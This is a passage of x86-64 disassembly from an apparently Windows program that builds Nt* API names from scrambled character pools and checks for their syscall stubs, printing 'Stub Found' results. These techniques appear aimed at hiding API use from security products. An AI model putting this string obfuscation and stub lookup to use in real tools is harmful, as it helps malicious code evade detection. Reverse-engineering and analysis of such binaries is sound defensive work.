call fcn.3a8e0b7f0
lea rax, [rbp + 0xd60]
lea rdx, [rbp + 0xd80]
lea r8, [0x3a8ee9042]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xd40]
lea rdx, [rbp + 0xd60]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xd20]
lea rdx, [rbp + 0xd40]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xd00]
lea rdx, [rbp + 0xd20]
lea r8, [0x3a8ee9078]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xce0]
lea rdx, [rbp + 0xd00]
lea r8, [0x3a8ee907a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xcc0]
lea rdx, [rbp + 0xce0]
lea r8, [0x3a8ee904a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xca0]
lea rdx, [rbp + 0xcc0]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xc80]
lea rdx, [rbp + 0xca0]
lea r8, [0x3a8ee9042]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xc60]
lea rdx, [rbp + 0xc80]
lea r8, [0x3a8ee907c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xc40]
lea rdx, [rbp + 0xc60]
lea r8, [0x3a8ee907e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xc20]
lea rdx, [rbp + 0xc40]
lea r8, [0x3a8ee9080]
mov rcx, rax
call fcn.3a8e0b7f0
lea rdx, [rbp + 0xc20]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8dfb3d0
lea rax, [rbp + 0xc20]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xc40]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xc60]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xc80]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xca0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xcc0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xce0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xd00]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xd20]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xd40]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xd60]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xd80]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xda0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xdc0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xde0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xe00]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xe2f]
mov rcx, rax
call fcn.3a8dc3340
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0xe30]
mov rcx, rax
call fcn.3a8dfa7e0
mov r9, qword [rbp + 0x3438]
mov r8, qword [rbp + 0x3458]
mov rdx, qword [rbp + 0x3430]
lea rax, [rbp + 0xe30]
mov rcx, qword [rbp + 0x34e0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3510]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a8d513fd
mov dword [rbp + 0x342c], eax
lea rax, [rbp + 0xe30]
mov rcx, rax
call fcn.3a8dfb390
cmp dword [rbp + 0x342c], 0
je 0x3a8d55806
lea rsi, [0x3a8ee9054]
jmp 0x3a8d5580d
lea rsi, [0x3a8ee9059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8d80b10
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a8d51370
lea rax, [rbp + 0x101f]
mov rcx, rax
call fcn.3a8dc3310
lea rdx, [rbp + 0x101f]
lea rax, [rbp + 0xff0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a8dfac70
lea rax, [rbp + 0xfd0]
lea rdx, [rbp + 0xff0]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xfb0]
lea rdx, [rbp + 0xfd0]
lea r8, [0x3a8ee9082]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xf90]
lea rdx, [rbp + 0xfb0]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xf70]
lea rdx, [rbp + 0xf90]
lea r8, [0x3a8ee9084]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xf50]
lea rdx, [rbp + 0xf70]
lea r8, [0x3a8ee904c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xf30]
lea rdx, [rbp + 0xf50]
lea r8, [0x3a8ee9050]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xf10]
lea rdx, [rbp + 0xf30]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xef0]
lea rdx, [rbp + 0xf10]
lea r8, [0x3a8ee9078]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xed0]
lea rdx, [rbp + 0xef0]
lea r8, [0x3a8ee907a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xeb0]
lea rdx, [rbp + 0xed0]
lea r8, [0x3a8ee904a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xe90]
lea rdx, [rbp + 0xeb0]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xe70]
lea rdx, [rbp + 0xe90]
lea r8, [0x3a8ee9042]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xe50]
lea rdx, [rbp + 0xe70]
lea r8, [0x3a8ee907c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rdx, [rbp + 0xe50]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8dfb3d0
lea rax, [rbp + 0xe50]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xe70]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xe90]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xeb0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xed0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xef0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xf10]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xf30]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xf50]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xf70]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xf90]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xfb0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xfd0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xff0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x101f]
mov rcx, rax
call fcn.3a8dc3340
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x1020]
mov rcx, rax
call fcn.3a8dfa7e0
mov r9, qword [rbp + 0x3438]
mov r8, qword [rbp + 0x3458]
mov rdx, qword [rbp + 0x3430]
lea rax, [rbp + 0x1020]
mov rcx, qword [rbp + 0x34d8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3510]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a8d513fd
mov dword [rbp + 0x342c], eax
lea rax, [rbp + 0x1020]
mov rcx, rax
call fcn.3a8dfb390
cmp dword [rbp + 0x342c], 0
je 0x3a8d55b49
lea rsi, [0x3a8ee9054]
jmp 0x3a8d55b50
lea rsi, [0x3a8ee9059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8d80b10
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a8d51370
lea rax, [rbp + 0x12ef]
mov rcx, rax
call fcn.3a8dc3310
lea rdx, [rbp + 0x12ef]
lea rax, [rbp + 0x12c0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a8dfac70
lea rax, [rbp + 0x12a0]
lea rdx, [rbp + 0x12c0]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1280]
lea rdx, [rbp + 0x12a0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1260]
lea rdx, [rbp + 0x1280]
lea r8, [0x3a8ee9042]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1240]
lea rdx, [rbp + 0x1260]
lea r8, [0x3a8ee9048]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1220]
lea rdx, [rbp + 0x1240]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1200]
lea rdx, [rbp + 0x1220]
lea r8, [0x3a8ee9086]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x11e0]
lea rdx, [rbp + 0x1200]
lea r8, [0x3a8ee903e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x11c0]
lea rdx, [rbp + 0x11e0]
lea r8, [0x3a8ee904a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x11a0]
lea rdx, [rbp + 0x11c0]
lea r8, [0x3a8ee9088]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1180]
lea rdx, [rbp + 0x11a0]
lea r8, [0x3a8ee9048]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1160]
lea rdx, [rbp + 0x1180]
lea r8, [0x3a8ee908a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1140]
lea rdx, [rbp + 0x1160]
lea r8, [0x3a8ee908c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1120]
lea rdx, [rbp + 0x1140]
lea r8, [0x3a8ee903c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1100]
lea rdx, [rbp + 0x1120]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x10e0]
lea rdx, [rbp + 0x1100]
lea r8, [0x3a8ee908e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x10c0]
lea rdx, [rbp + 0x10e0]
lea r8, [0x3a8ee9090]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x10a0]
lea rdx, [rbp + 0x10c0]
lea r8, [0x3a8ee9092]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1080]
lea rdx, [rbp + 0x10a0]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1060]
lea rdx, [rbp + 0x1080]
lea r8, [0x3a8ee9040]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1040]
lea rdx, [rbp + 0x1060]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rdx, [rbp + 0x1040]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8dfb3d0
lea rax, [rbp + 0x1040]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1060]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1080]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x10a0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x10c0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x10e0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1100]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1120]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1140]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1160]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1180]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x11a0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x11c0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x11e0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1200]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1220]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1240]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1260]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1280]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x12a0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x12c0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x12ef]
mov rcx, rax
call fcn.3a8dc3340
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x12f0]
mov rcx, rax
call fcn.3a8dfa7e0
mov r9, qword [rbp + 0x3438]
mov r8, qword [rbp + 0x3458]
mov rdx, qword [rbp + 0x3430]
lea rax, [rbp + 0x12f0]
mov rcx, qword [rbp + 0x34d0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3510]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a8d513fd
mov dword [rbp + 0x342c], eax
lea rax, [rbp + 0x12f0]
mov rcx, rax
call fcn.3a8dfb390
cmp dword [rbp + 0x342c], 0
je 0x3a8d55fc0
lea rsi, [0x3a8ee9054]
jmp 0x3a8d55fc7
lea rsi, [0x3a8ee9059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8d80b10
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a8d51370
lea rax, [rbp + 0x163f]
mov rcx, rax
call fcn.3a8dc3310
lea rdx, [rbp + 0x163f]
lea rax, [rbp + 0x1610]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a8dfac70
lea rax, [rbp + 0x15f0]
lea rdx, [rbp + 0x1610]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x15d0]
lea rdx, [rbp + 0x15f0]
lea r8, [0x3a8ee9094]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x15b0]
lea rdx, [rbp + 0x15d0]
lea r8, [0x3a8ee904c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1590]
lea rdx, [rbp + 0x15b0]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1570]
lea rdx, [rbp + 0x1590]
lea r8, [0x3a8ee904a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1550]
lea rdx, [rbp + 0x1570]
lea r8, [0x3a8ee9052]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1530]
lea rdx, [rbp + 0x1550]
lea r8, [0x3a8ee9096]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1510]
lea rdx, [rbp + 0x1530]
lea r8, [0x3a8ee908a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x14f0]
lea rdx, [rbp + 0x1510]
lea r8, [0x3a8ee9098]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x14d0]
lea rdx, [rbp + 0x14f0]
lea r8, [0x3a8ee903e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x14b0]
lea rdx, [rbp + 0x14d0]
lea r8, [0x3a8ee904a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1490]
lea rdx, [rbp + 0x14b0]
lea r8, [0x3a8ee9050]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1470]
lea rdx, [rbp + 0x1490]
lea r8, [0x3a8ee9042]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1450]
lea rdx, [rbp + 0x1470]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1430]
lea rdx, [rbp + 0x1450]
lea r8, [0x3a8ee9048]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1410]
lea rdx, [rbp + 0x1430]
lea r8, [0x3a8ee903e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x13f0]
lea rdx, [rbp + 0x1410]
lea r8, [0x3a8ee908a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x13d0]
lea rdx, [rbp + 0x13f0]
lea r8, [0x3a8ee9074]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x13b0]
lea rdx, [rbp + 0x13d0]
lea r8, [0x3a8ee904a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1390]
lea rdx, [rbp + 0x13b0]
lea r8, [0x3a8ee903e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1370]
lea rdx, [rbp + 0x1390]
lea r8, [0x3a8ee9040]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1350]
lea rdx, [rbp + 0x1370]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1330]
lea rdx, [rbp + 0x1350]
lea r8, [0x3a8ee9084]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1310]
lea rdx, [rbp + 0x1330]
lea r8, [0x3a8ee9084]
mov rcx, rax
call fcn.3a8e0b7f0
lea rdx, [rbp + 0x1310]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8dfb3d0
lea rax, [rbp + 0x1310]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1330]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1350]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1370]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1390]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x13b0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x13d0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x13f0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1410]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1430]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1450]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1470]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1490]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x14b0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x14d0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x14f0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1510]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1530]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1550]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1570]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1590]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x15b0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x15d0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x15f0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1610]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x163f]
mov rcx, rax
call fcn.3a8dc3340
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x1640]
mov rcx, rax
call fcn.3a8dfa7e0
mov r9, qword [rbp + 0x3438]
mov r8, qword [rbp + 0x3458]
mov rdx, qword [rbp + 0x3430]
lea rax, [rbp + 0x1640]
mov rcx, qword [rbp + 0x34c8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3510]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a8d513fd
mov dword [rbp + 0x342c], eax
lea rax, [rbp + 0x1640]
mov rcx, rax
call fcn.3a8dfb390
cmp dword [rbp + 0x342c], 0
je 0x3a8d564e7
lea rsi, [0x3a8ee9054]
jmp 0x3a8d564ee
lea rsi, [0x3a8ee9059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8d80b10
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a8d51370
lea rax, [rbp + 0x18cf]
mov rcx, rax
call fcn.3a8dc3310
lea rdx, [rbp + 0x18cf]
lea rax, [rbp + 0x18a0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a8dfac70
lea rax, [rbp + 0x1880]
lea rdx, [rbp + 0x18a0]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1860]
lea rdx, [rbp + 0x1880]
lea r8, [0x3a8ee9082]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1840]
lea rdx, [rbp + 0x1860]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1820]
lea rdx, [rbp + 0x1840]
lea r8, [0x3a8ee9042]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1800]
lea rdx, [rbp + 0x1820]
lea r8, [0x3a8ee907c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x17e0]
lea rdx, [rbp + 0x1800]
lea r8, [0x3a8ee9046]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x17c0]
lea rdx, [rbp + 0x17e0]
lea r8, [0x3a8ee9048]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x17a0]
lea rdx, [rbp + 0x17c0]
lea r8, [0x3a8ee904a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1780]
lea rdx, [rbp + 0x17a0]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1760]
lea rdx, [rbp + 0x1780]
lea r8, [0x3a8ee904c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1740]
lea rdx, [rbp + 0x1760]
lea r8, [0x3a8ee9042]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1720]
lea rdx, [rbp + 0x1740]
lea r8, [0x3a8ee903c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1700]
lea rdx, [rbp + 0x1720]
lea r8, [0x3a8ee904e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x16e0]
lea rdx, [rbp + 0x1700]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x16c0]
lea rdx, [rbp + 0x16e0]
lea r8, [0x3a8ee9050]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x16a0]
lea rdx, [rbp + 0x16c0]
lea r8, [0x3a8ee903e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1680]
lea rdx, [rbp + 0x16a0]
lea r8, [0x3a8ee904a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1660]
lea rdx, [rbp + 0x1680]
lea r8, [0x3a8ee9052]
mov rcx, rax
call fcn.3a8e0b7f0
lea rdx, [rbp + 0x1660]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8dfb3d0
lea rax, [rbp + 0x1660]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1680]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x16a0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x16c0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x16e0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1700]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1720]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1740]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1760]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1780]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x17a0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x17c0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x17e0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1800]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1820]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1840]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1860]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1880]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x18a0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x18cf]
mov rcx, rax
call fcn.3a8dc3340
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x18d0]
mov rcx, rax
call fcn.3a8dfa7e0
mov r9, qword [rbp + 0x3438]
mov r8, qword [rbp + 0x3458]
mov rdx, qword [rbp + 0x3430]
lea rax, [rbp + 0x18d0]
mov rcx, qword [rbp + 0x34c0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3510]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a8d513fd
mov dword [rbp + 0x342c], eax
lea rax, [rbp + 0x18d0]
mov rcx, rax
call fcn.3a8dfb390
cmp dword [rbp + 0x342c], 0
je 0x3a8d56906
lea rsi, [0x3a8ee9054]
jmp 0x3a8d5690d
lea rsi, [0x3a8ee9059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8d80b10
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a8d51370
lea rax, [rbp + 0x19df]
mov rcx, rax
call fcn.3a8dc3310
lea rdx, [rbp + 0x19df]
lea rax, [rbp + 0x19b0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a8dfac70
lea rax, [rbp + 0x1990]
lea rdx, [rbp + 0x19b0]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1970]
lea rdx, [rbp + 0x1990]
lea r8, [0x3a8ee9076]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1950]
lea rdx, [rbp + 0x1970]
lea r8, [0x3a8ee903c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1930]
lea rdx, [rbp + 0x1950]
lea r8, [0x3a8ee903e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x1910]
lea rdx, [rbp + 0x1930]
lea r8, [0x3a8ee9084]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x18f0]
lea rdx, [rbp + 0x1910]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rdx, [rbp + 0x18f0]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8dfb3d0
lea rax, [rbp + 0x18f0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1910]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1930]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1950]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1970]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x1990]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x19b0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x19df]
mov rcx, rax
call fcn.3a8dc3340
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x19e0]
mov rcx, rax
call fcn.3a8dfa7e0
mov r9, qword [rbp + 0x3438]
mov r8, qword [rbp + 0x3458]
mov rdx, qword [rbp + 0x3430]
lea rax, [rbp + 0x19e0]
mov rcx, qword [rbp + 0x34b8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3510]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a8d513fd
mov dword [rbp + 0x342c], eax
lea rax, [rbp + 0x19e0]
mov rcx, rax
call fcn.3a8dfb390
cmp dword [rbp + 0x342c], 0
je 0x3a8d56b15
lea rsi, [0x3a8ee9054]
